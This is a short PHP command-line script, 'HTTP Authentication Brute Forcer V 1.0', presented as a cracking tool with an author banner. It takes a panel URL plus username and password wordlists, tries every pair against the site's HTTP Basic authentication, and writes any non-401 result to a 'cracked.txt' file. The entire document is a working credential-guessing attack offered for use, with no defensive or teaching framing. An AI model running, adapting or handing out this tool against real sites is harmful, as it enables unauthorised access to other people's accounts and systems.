HTTP Authentication BF

<?php

error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '640000M');

echo"

[#]==============================================[#]
[#]  HTTP Authentication Brute Forcer V 1.0      [#]
[#]           s0w & Nani17                       [#]
[#]  MaDe By Islam ..                            [#]
[#]  Last Update : 24/1/2016                     [#]
[#]==============================================[#]

";


function curl($url,$user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
$result = curl_exec($ch);
curl_close($ch);

   return $result;
}

    function save($site,$user,$pass){
        $fo = fopen("cracked.txt","a+");
        fwrite($fo,"[+] $site\n    $user:$pass\n\n");
        fclose($fo);
        }

echo "\n(Panel URL)      => ";
$panel_url = trim(fgets(STDIN,1024));

echo "\n(usernames List) => ";
$user_file = trim(fgets(STDIN,1024));
$users     = file($user_file);
$users     = array_unique($users);
$count_u   = count($users);

echo "\n(passwords List) => ";
$pass_file = trim(fgets(STDIN,1024));
$pws       = file($pass_file);
$pws       = array_unique($pws);
$count_w   = count($pws);

          sleep(1);
          echo "\n\n\t\t[*] URL       : $panel_url
            usernames : $count_u user
            passwords : $count_w pass
          \t\t\n\t\t    Cracking ... \n\n";


foreach ($users as $user){
    $user = trim($user);

foreach ($pws as $pass){
    $pass = trim($pass);

$go = curl($panel_url,$user,$pass);

    if(!preg_match('#401#i',$go)){

        echo "[+] $user : $pass\n";
        save($panel_url,$user,$pass);
        exit;

        }else
      echo "[-] $panel_url : ($user : $pass) => error\n";
}}

?>